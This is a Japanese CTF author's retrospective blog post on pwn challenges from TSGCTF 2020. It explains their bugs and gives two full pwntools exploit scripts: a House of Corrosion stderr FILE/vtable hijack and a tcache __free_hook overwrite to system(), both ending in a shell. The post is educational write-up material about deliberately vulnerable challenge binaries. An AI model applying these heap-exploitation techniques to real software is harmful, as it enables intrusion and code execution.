イントロ
いつぞや開催されたTSGCTF 2020において、 pwn 問題を 2 問作問し、1 問共作しました。 結果としては反省点ばかりで、もやもやして今すぐやるべき期末試験勉強に集中できないので、 ここに雑に反省を置いておきます。
RACHELL: 7solves 322pts
問題概要
sec.sh1問題概要
2 Arch: amd64-64-little
3 RELRO: Full RELRO
4 Stack: Canary found
5 NX: NX enabled
6 PIE: PIE enabled
バイナリサイズが大きいため C ソースを添付しています。
超簡易的なファイルシステムを模し、数個のコマンドを処理してファイル・ディレクトリを作成・削除・書き込みすることができます。
ただし cat
コマンドは実装されておらず、ディレクトリ名を表示する際にも以下の関数で出力がチェックされ、検査に引っかかるとプログラムが停止(非終了)します:
1unsigned char ascii_check(const char *name, unsigned int size)
2{
3 char c;
4 for(int ix=0;ix!=size;++ix){
5 c = name[ix];
6 if(c=='\n' || c=='-' || (0x30<=c && c<=0x39) || (0x40<=c && c<=0x5a) || (0x61<=c && c<=0x7a) || c=='_' || c=='.')
7 continue;
8 return 0;
9 }
10 return 1;
11}
パス名の表示以外に、定数値以外を出力する箇所は一切ありません。
非想定解
House of Corrosionを出題したいがためだけに作った問題です。
FILE structure の _IO_write_ptr の書き換えによって leak がされないように printf()等でストリームは全く使わないようにしていたり、
ascii_check()
で出力を検査していたのは、とにかく leakless を目指していたためでした。
しかし、pwd()
関数に於いて唯一出力の ascii_check()
を行うのをし忘れており、
ここから leak が可能であったようです。
一度 leak さえできてしまえば、Double Free も UAF もし放題な問題ゆえ、
簡単に解けてしまうという非想定解がありました。
そもそもに、pwd()
に ascii_check()
を入れていたとしても、
上のチェックではゆるいところがあり結局何かしらを何かしらの方法で leak されていたのではないかと思います。
一度考えて没にしたのですが、やっぱりディレクトリ名の出力は全て CENSORED
のように定数値で統一すべきでした。
こうするとファイルシステムを真似するプログラムという問題設定が微妙になってしまうのではと思いやめたのですが、
非想定を潰すためには多少問題設定を犠牲にしてでも制限を厳しくすべきだったと反省しています。
なお、最初はコマンドと引数を別々ではなく通常のシェルのように入力できるようにしていたのですが、 パーサによってソースコードが倍増してしまうのと、非想定を埋め込みそうだったので割と直前でやめました。
想定のバグ
; 折角なので、想定解にも軽く触れておきます。まず、バグとして以下のようなものがあります:
node
(ディレクトリ・ファイル)を削除する際、それがカレントディレクトリ以外にある場合には、node
のfree()
は行われますが、親ノードから該当子ノードが削除されません。 親に繋がってる子ノードの削除は問答無用で行われるため、Double Free / UAF が可能です。- ファイルへの書き込み(
echo
)を行う際に、readn()
関数ではなく以下のように読み込んでいます。 - これによって、任意サイズの
malloc()
を行いつつも、実際に書き込むのは"\r"
までという操作ができるため、exploit が簡単になります。
1if(target->buf == NULL){
2 target->buf = malloc(size);
3 // find newline
4 for(int ix=0; ix!=size; ++ix){
5 if(content[ix] == '\r'){
6 size = ix;
7 break;
8 }
9 }
10 memcpy(target->buf,content,size);
11 target->size = size;
12}else{
- バグではありませんが、エラー発生時に呼ばれる
panic()
関数は、プログラムを終了するわけではなく停止させます。これも、House of Corrosion を使ってほしいという匂わせです。
1void panic(void)
2{
3 write(1,"exit...\n",7);
4 while(true)
5 sleep(100);
6}
想定解
想定では完全なる leakless だったため、House of Corrosion で leak することなくシェルを開くというものでした。
しかし、おそらく leakless で解いた人はゼロ人だと思います。
なおこの方法で解く際には、
echo
をする前に必要なノードを予めtouch
して準備しておかないと exploit が難しくなるなど、結構準備が手間です。
1#!/usr/bin/env python
2#encoding: utf-8;
3
4
5
6
7# TOTAL ENTROPY IS 4-bit+x(x<4)
8# TRY SOME TIMES
9
10
11
12from pwn import *
13import sys
14import time
15
16FILENAME = "../dist/rachell"
17LIBCNAME = "../dist/libc.so.6"
18
19hosts = ("ニッコニッコニー","localhost","localhost")
20ports = (25252,12300,25252)
21rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server
22rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost
23rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker
24context(os='linux',arch='amd64')
25binf = ELF(FILENAME)
26libc = ELF(LIBCNAME) if LIBCNAME!="" else None
27
28
29## utilities #########################################
30
31def hoge(command):
32 c.recvuntil("command> ")
33 c.sendline(command)
34
35def ls(dir="."):
36 hoge("ls")
37 c.recvuntil("path> ")
38 c.sendline(dir)
39
40
41# current dir only
42def touch(name):
43 hoge("touch")
44 c.recvuntil("filename> ")
45 c.sendline(name)
46
47def echo(path,content):
48 if "\n" in content:
49 raw_input("[w] content@echo() contains '\\n'. It would be end of input. OK?")
50
51 hoge("echo")
52 c.recvuntil("arg> ")
53 c.sendline(content)
54 c.recvuntil("redirect?> ")
55 c.sendline("Y")
56 c.recvuntil("path> ")
57 c.sendline(path)
58 if "invalid" in c.recvline():
59 raw_input("error detected @ echo()")
60 exit()
61
62def rm(path):
63 hoge("rm")
64 c.recvuntil("filename> ")
65 c.sendline(path)
66 if "no" in c.recvline():
67 raw_input("error detected @ rm()")
68 exit()
69
70# relative only
71def cd(path):
72 hoge("cd")
73 c.recvuntil("path> ")
74 c.sendline(path)
75
76# current dir only
77def mkdir(name):
78 hoge("mkdir")
79 c.recvuntil("name")
80 c.sendline(name)
81
82def te(filename,content):
83 touch(filename)
84 echo(filename,content)
85
86def formula(delta):
87 return delta*2 + 0x20
88
89## exploit ###########################################
90
91def exploit():
92 global c
93 repeat_flag = False
94
95 # calc ##############################################
96
97 gmf = 0xc940
98 bufend_s = formula(0xa70 - 0x8)
99 stderralloc_s = formula(0xb08)
100 dumpedend_s = formula(0x1ce0)
101 pedantic_s = formula(0x1cf8 - 0x8)
102 stderrmode_s = formula(0xaf0 - 0x8)
103 stderrflags_s = formula(0xa30 - 0x8)
104 stderrwriteptr_s = formula(0xa58 - 0x8)
105 stderrbufbase_s = formula(0xa68 - 0x8)
106 stderrvtable_s = formula(0xa68 + 0xa0 - 0x8)
107 stdoutmode_s = formula(0xbd0 - 0x8)
108 morecore_s = formula(0x880)
109 stderrbufend_s = formula(0xa68)
110 stderr_s = formula(0x7f17c6744680-0x7f17c6743c40+0x10 - 0x28)
111 stderr60_s = formula(0x7f17c6744680-0x7f17c6743c40+0x10 - 0x28 + 0x60)
112 LSB_IO_str_jmps = 0x7360
113 LSBs_call_rax = 0x03d8 # call rax gadget. to be called @ _IO_str_overflow()
114 '''
115 pwndbg> find /2b 0x7f971f8a0000, 0x7f971f8affff, 0xff,0xd0
116 0x7f971f8a03d8 <systrim+200>
117 0x7f971f8a0657 <ptmalloc_init+631>
118 2 patterns found.
119 '''
120
121 try:
122 mkdir("test1")
123 mkdir("test2")
124 mkdir("test3")
125 mkdir("test4")
126 mkdir("test5")
127 mkdir("test6")
128 # info: test6 is used only for padding!
129 for i in range(5):
130 cd("./test"+str(i+2))
131 for j in range(0xe):
132 touch(str(j+1))
133 cd("../")
134 print("[+] pre-touched chunks")
135
136
137 cd("./test1")
138 touch("a")
139 touch("k")
140 touch("large")
141 touch("b")
142 touch("c")
143 touch("LARGE")
144 echo("a","A"*0x450) # for unsortedbin attack
145 echo("k","k"*0x130) # just for padding
146 echo("large","B"*0x450)
147 echo("b","A"*0x450) # to overwrite LARGE's size !!!
148 cd("../")
149 rm("./test1/b")
150 rm("./test1/large")
151 cd("test1")
152 echo("c","\r"*0x460)
153 echo("LARGE","L"*0x460) # to cause error!!!
154
155 touch("hoge")
156 touch("hoge2")
157 te("padding","K"*0x30) # JUST PADDING
158
159 print("[+] prepared for later attack")
160
161 # prepare for ADV3 part1 in test2 ##########################
162
163 # get overlapped chunk.
164 LSB_A1 = 0xd0 # chunk A's LSB
165 adv3_size1 = bufend_s
166 cd("../test2")
167 echo("1","\r"*(0x50))
168 echo("2","2"*(0x20)) # A
169 #raw_input("check A's LSB")
170 echo("3","3"*(0x20)) # B
171 echo("4","4"*(0x50))
172 cd("../")
173 rm("./test2/1")
174 rm("./test2/4")
175 cd("test2")
176 echo("4",p8(LSB_A1))
177 echo("5","5"*(0x50)) # tmp2
178 echo("6","6"*(0x50)) # tmp1 overlapping on A
179 echo("6",p64(0)+p64(adv3_size1 + 0x10 +0x1) + p64(0)*4 + p64(0) + p64(adv3_size1 + 0x10 + 0x1))
180
181 # prepare fakesize
182 echo("7",(p64(0)+p64(0x31))*((adv3_size1+0x120)//0x10))
183 #raw_input("check overlap")
184
185 print("[+] create overlapped chunks for ADV3 part1")
186 cd("../")
187
188
189 # prepare for ADV3 part2 in test3 ##########################
190
191 # padding
192 cd("./test6/")
193 echo("1",p64(0x31)*0x10)
194
195 # get overlapped chunk.
196 LSB_A2 = 0xa0 # chunk A's LSB
197 adv3_size2 = stderralloc_s
198 cd("../test3")
199 echo("1","\r"*(0x50))
200 echo("2","2"*(0x20)) # A
201 #raw_input("check A's LSB")
202 echo("3","3"*(0x20)) # B
203 echo("4","4"*(0x50))
204 cd("../")
205 rm("./test3/1")
206 rm("./test3/4")
207 cd("test3")
208 echo("4",p8(LSB_A2))
209 echo("5","5"*(0x50)) # tmp2
210 echo("6","6"*(0x50)) # tmp1 overlapping on A
211 echo("6",p64(0)+p64(adv3_size2 + 0x10 +0x1) + p64(0)*4 + p64(0) + p64(adv3_size2 + 0x10 + 0x1))
212
213 # prepare fakesize
214 echo("7",(p64(0)+p64(0x31))*((adv3_size2+0x120)//0x10))
215 #raw_input("check overlap")
216
217 print("[+] create overlapped chunks for ADV3 part2")
218 cd("../")
219
220
221 # Allocate chunks for ADV2 #################################
222
223 cd("./test4")
224 print("[ ] dumpedend_s: "+hex(dumpedend_s))
225 echo("1","B"*dumpedend_s)
226 echo("2","B"*pedantic_s)
227 echo("3","B"*stderrmode_s)
228 echo("4","B"*stderrflags_s)
229 echo("5","B"*stderrwriteptr_s)
230 echo("6","B"*stderrbufbase_s)
231 echo("7","B"*stderrvtable_s)
232 echo("8","B"*stdoutmode_s)
233 print("[+] create some chunks for ADV2")
234 cd("../")
235
236
237 # Connect to largebin and set NON_MAINARENA to 1 ######
238
239 rm("./test1/LARGE")
240 cd("./test6") # connect to largebin
241 echo("2","\r"*0x600)
242
243 cd("../test1")
244 echo("b",p64(0)+p64(0x460|0b101)) # set NON_MAIN_ARENA
245 cd("../")
246 print("[+] connected to large and set NON_MAIN_ARENA")
247
248
249
250 # Unsortedbin Attack ###################################
251 rm("test1/a")
252 cd("./test1")
253 echo("a",p64(0)+p16(gmf-0x10))
254 echo("hoge","G"*0x450) # unsortedbin attack toward gmf
255 cd("../")
256 print("[!] Unsortedbin attack success??(4-bit entropy)")
257
258
259 # Make unsortedbin's bk valid ########################
260 rm("./test4/1")
261 cd("test4")
262 echo("1",p64(0x460))
263 cd("../test5")
264 echo("1","\r"*dumpedend_s)
265 rm("../test4/2")
266 cd("../")
267 print("[*] made unsortedbin's bk valid")
268
269
270 # Overwrite FILE of stderr ##########################
271
272 # stderr_mode / 1
273 rm("./test4/3")
274 cd("./test4")
275 echo("3",p64(0x1))
276 cd("../test5")
277 echo("2","\r"*stderrmode_s)
278 cd("../")
279 print("[1/5] overwrite FILE of stderr")
280
281 # stdout_mode / 1
282 rm("./test4/8")
283 cd("./test4")
284 echo("8",p64(0x1))
285 cd("../test5")
286 echo("3","\r"*stdoutmode_s)
287 cd("../")
288 print("[2/5] overwrite FILE of stderr")
289
290 # stderr_flags / 0
291 rm("./test4/4") # NO NEED IN THIS CASE...
292 cd("./test4")
293 echo("4",p64(0x0))
294 cd("../test5")
295 echo("4","\r"*stderrflags_s)
296 cd("../")
297 print("[3/5] overwrite FILE of stderr")
298
299 # stderr_IO_write_ptr / 0x7fffffffffffffff
300 rm("./test4/5")
301 cd("./test4")
302 echo("5",p64(0x7fffffffffffffff))
303 cd("../test5")
304 echo("5","\r"*stderrwriteptr_s)
305 cd("../")
306 print("[4/5] overwrite FILE of stderr")
307
308 # stderr_IO_buf_base / offset of default_morecore_onegadget
309 off_default_morecore_one = 0x4becb
310 rm("./test4/6")
311 cd("./test4")
312 echo("6",p64(off_default_morecore_one))
313 cd("../test5")
314 echo("6","\r"*stderrbufbase_s)
315 cd("../")
316 print("[5/5] overwrite FILE of stderr")
317
318
319
320 # Transplant __morecore value to stderr->file._IO_buf_end ########
321 cd("../")
322 rm("./test2/2") # TODO: 2/3逆じゃね???
323 rm("./test2/3") # connect to tcache
324 cd("test2")
325 echo("2",p8(LSB_A1))
326 cd("../test6")
327 echo("3","\r"*stderrbufend_s)
328 cd("../test2")
329 echo("6",p64(0)+p64(0x10 + morecore_s|1))
330 cd("../")
331 rm("./test2/2")
332 cd("./test2/")
333 echo("6",p64(0)+p64(0x10 + stderrbufend_s|1))
334 cd("../test6")
335 echo("4","\r"*stderrbufend_s)
336
337 cd("../test2")
338 echo("6",p64(0)+p64(0x10 + morecore_s|1))
339 cd("../test6")
340 echo("5","\r"*morecore_s)
341 print("[+]overwrite stderr->file.IO_buf_end")
342
343 # Partial Transplantation: stderr->file.vtable into _IO_str_jumps
344
345 cd("../")
346 rm("./test4/7")
347 cd("./test4")
348 echo("7",p16(LSB_IO_str_jmps - 0x20)) # 0-bit uncertainity after success of unsortedbin attack (before, 4bit)
349 cd("../test6")
350 echo("6","\r"*stderrvtable_s)
351 print("[+] overwrite stderr's vtable into _IO_str_jumps - 0x20")
352
353 # Tamper in Flight: Transplant __morecore's value to _s._allocate_buffer ###########
354 cd("../")
355 rm("./test3/3")
356 rm("./test3/2") # connect to tcache
357 cd("test3")
358 echo("2",p8(LSB_A2))
359 cd("../test6")
360 echo("7","\r"*stderralloc_s)
361 cd("../test3")
362
363 echo("6",p64(0)+p64(0x10 + morecore_s|1))
364 cd("../")
365 rm("./test3/2")
366 cd("./test3/")
367 echo("6",p64(0)+p64(0x10 + stderralloc_s|1))
368 echo("2",p16(LSBs_call_rax)) # HAVE 4-BIT UNCERTAINITY !!!
369 cd("../test6")
370 echo("8","\r"*stderralloc_s)
371 print("[ ] morecore_s: "+hex(morecore_s))
372
373
374 # invoke and get a shell!!!
375 c.recvuntil("command> ")
376 c.sendline("echo")
377 c.recvuntil("arg> ")
378 c.sendline("\r"*0x50)
379 c.recvuntil("?> ")
380 c.sendline("Y")
381 c.recvuntil("> ")
382 c.sendline("9")
383 print("[!] Got shell???")
384
385 return True
386 except EOFError:
387 print("[-] EOFError")
388 c.close()
389 return False
390
391
392## main ##############################################
393
394# check success rate by 'python2 ./exploit.py r bench'
395# solvable-check by python2 ./exploit.py r
396
397if __name__ == "__main__":
398 global c
399
400 if len(sys.argv)>1:
401 if sys.argv[1][0]=="d":
402 cmd = """
403 set follow-fork-mode parent
404 """
405 c = gdb.debug(FILENAME,cmd)
406
407 elif sys.argv[1][0]=="r" or sys.argv[1][0]=="v":
408 try_count = 0
409 total_try = 0
410 total_success = 0
411 start_time = time.time()
412 init_time = time.time()
413 while True:
414 lap_time = time.time()
415 try_count += 1
416 print("**** {} st try ****".format(hex(try_count)))
417 if sys.argv[1][0] == "r":
418 c = remote(rhp1["host"],rhp1["port"])
419 else:
420 c = remote(rhp3["host"],rhp3["port"])
421 if exploit()==False:
422 print("----- {} st try FAILED: {} sec\n".format(hex(try_count),time.time()-lap_time))
423 continue
424 else:
425 print("----- {} st try SUCCESS: {} sec (total)".format(hex(try_count),time.time()-start_time))
426 if len(sys.argv) > 2 : # check success rate
427 print("\n***** NOW SUCCESS NUM: {} ******\n".format(hex(total_success + 1)))
428 total_try += try_count
429 try_count = 0
430 total_success += 1
431 start_time = time.time()
432 if total_success >= 0x10:
433 print("\n\n\nTotal {} Success in {} Try. Total Time: {} sec\n\n\n".format(hex(total_success),hex(total_try),time.time()-init_time))
434 exit()
435 else:
436 continue
437 else:
438 c.interactive()
439 exit()
440
441 else:
442 c = remote(rhp2['host'],rhp2['port'])
443
444 exploit()
445 c.interactive()
この場合には exploit は 4bit のエントロピーを持ち、およそ 14 回に 1 回成功します:
Violence Fixer: 13solves 241pts
問題概要
sec.sh1Arch: amd64-64-little
2RELRO: Full RELRO
3Stack: Canary found
4NX: NX enabled
5PIE: PIE enabled
もともと beginner 問として出題する予定で作りましたが、燃えそうなので easy 問にしました。
偽のヒープマネージャが heap の情報を記憶し、それに基づいてsize
なりを勝手に上書きしてしまいます。
しかしこいつがかなりガバガバで、容易に実際の heap とのズレが生じます。
但し beg 問の名残として、オプションで偽のヒープマネージャが保持している情報を出力させることができます。
想定解
色々とありそうではありますが、上で説明したズレを利用して、 雑に libcbase を leak して free_hook overwrite で終了です。
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6import time
7
8FILENAME = "../dist/violence-fixer"
9LIBCNAME = "../dist/libc.so.6"
10
11hosts = ("test","localhost","localhost")
12ports = (32112,12300,32112)
13rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server
14rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost
15rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker
16context(os='linux',arch='amd64')
17binf = ELF(FILENAME)
18libc = ELF(LIBCNAME) if LIBCNAME!="" else None
19
20
21## utilities #########################################
22
23def hoge(ix):
24 c.recvuntil("> ")
25 c.sendline(str(ix))
26
27def alloc(size,content):
28 hoge(1)
29 c.recvuntil("size: ")
30 c.sendline(str(size))
31 c.recvuntil("content: ")
32 c.send(content)
33
34def show(index):
35 hoge(2)
36 c.recvuntil("index: ")
37 c.sendline(str(index))
38
39def free(index):
40 hoge(3)
41 c.recvuntil("index: ")
42 c.sendline(str(index))
43
44def get_value(index):
45 hoge(4)
46 for i in range(index):
47 c.recvuntil("INUSE")
48 c.recvuntil("INUSE\n ")
49 return c.recv(8)
50
51def delegate(size,content):
52 hoge(0)
53 c.recvuntil("> ")
54 c.sendline('y')
55 c.recvuntil("size: ")
56 c.sendline(str(size))
57 c.recvuntil("content: ")
58 c.send(content)
59
60## exploit ###########################################
61
62def exploit():
63 global c
64 c.recvuntil("?: ")
65 c.sendline("y")
66
67 # prepare
68 alloc(0x200,"1"*0x30)
69 alloc(0x200,"2"*0x30)
70 alloc(0x200,"3"*0x30)
71 alloc(0x200,"4"*0x30)
72 alloc(0xa0,"5"*0x30)
73 alloc(0x200,"4"*0x30)
74 alloc(0x1e0,"4"*0x30)
75 alloc(0x1e0,"4"*0x30) # TARGET
76 alloc(0x1e0,"5"*0x30)
77 alloc(0x1e0,p64(0x21)*(0x1e0//8))
78 alloc(0x1e0,"7"*0x10)
79 alloc(0xc0,"8"*0x10)
80 alloc(0x10,"9"*0x10)
81
82 # leak libcbase
83 free(1)
84 free(2)
85 free(3)
86 free(4)
87 free(5)
88 alloc(0x60,p8(0)*0x30 + p64(0) + p64(0x481))
89 free(7)
90 for i in range(4):
91 alloc(0x10,p8(1))
92 alloc(0x160,"A"*0x160)
93
94 show(7)
95 c.recvuntil("A"*0x160)
96 libcbase = unpack(c.recvline().rstrip().ljust(8,'\x00')) - 0x1ebbe0
97 print("[+]libcbase: "+hex(libcbase))
98
99 # tcache duplicate
100 alloc(0x1f0,p8(0))
101 alloc(0x80,p8(0))
102
103 alloc(0x60,"1"*0x8)
104 alloc(0x50,"/bin/sh;\x00")
105 alloc(0x50,"3"*0x8)
106 alloc(0x20,"4"*0x8)
107 alloc(0x20,"5"*0x8)
108 alloc(0x20,"6"*0x8)
109 alloc(0x20,"7"*0x8) #
110 free(0xf)
111 free(0x13)
112 free(0x15)
113 alloc(0x130,p64(0)+p64(0x31)+"A"*0x80+p64(0)+p64(0x31)+p64(libcbase + libc.symbols["__free_hook"]))
114 alloc(0x20,p8(0))
115 delegate(0x20,p64(libcbase+libc.symbols["system"]))
116
117 free(0x10)
118 return
119
120## main ##############################################
121
122if __name__ == "__main__":
123 global c
124 start_time = time.time()
125
126 if len(sys.argv)>1:
127 if sys.argv[1][0]=="d":
128 cmd = """
129 set follow-fork-mode parent
130 """
131 c = gdb.debug(FILENAME,cmd)
132 elif sys.argv[1][0]=="r":
133 c = remote(rhp1["host"],rhp1["port"])
134 elif sys.argv[1][0]=="v":
135 c = remote(rhp3["host"],rhp3["port"])
136 else:
137 c = remote(rhp2['host'],rhp2['port'])
138
139 exploit()
140 print("\n\n[!] exploit success: {} sec\n\n".format(time.time()-start_time))
141 c.interactive()
Karte: 6solves 341pts
@moratorium08 さんと一緒に作った問題です。 PoC は mora さんの gist にあります:
libc2.31 で動いているので、いい感じにいい感じします。
全体
セルフレビューが甘々でした。 また、互いのレビューをする際にも、もっと時間に余裕を持って多方面から行うべきでした。
beginner 問は、SECCON でかなり好評のものが出たので、今後 beginner 問を自称する際にはあのくらいのやつを出さないといけないのかもしれませんね。 (但し、個人的には本当にどこから手を付けていいかわからない人はハリネズミ本+坂井さんのリンカローダ本を読んで pico/xyz をやるべきだとは思います)
また、問題セットが若干偏っていた感じがあります。 pwn は begx1, heapx3, 言語問 x1, その他 x1 でした。 kernel 問を入れて、heap 問を 1 問退場させればもうちょいいい感じになったんじゃないかと思います。
時間的には、pwn に関して言うと 24h で十分だったんじゃないかと思います。 事実、トップチームは最初の 12h 以内に pwn を全完して暇そうだったので。 misc が多い感もあったと思いますが、今日は随分晴れています。
一番の反省点は、自分自身がそもそもに pwn 雑魚なのに作問なんかしようと思い上がったことですね。 pwn 雑魚が作った問題は、例外なくクソ問になります。 問題を作るのならば、まずは自分自身がいい加減 beginner レベルを卒業できるくらいには強くならなくちゃいけないと痛感しました。 時間を見つけて、pwn を勉強しつつ問題を作り溜めていこうと思います。
アウトロ
反省点ばかりでした。少しでも boring に感じた方はすいませんでした。 勉強しときます。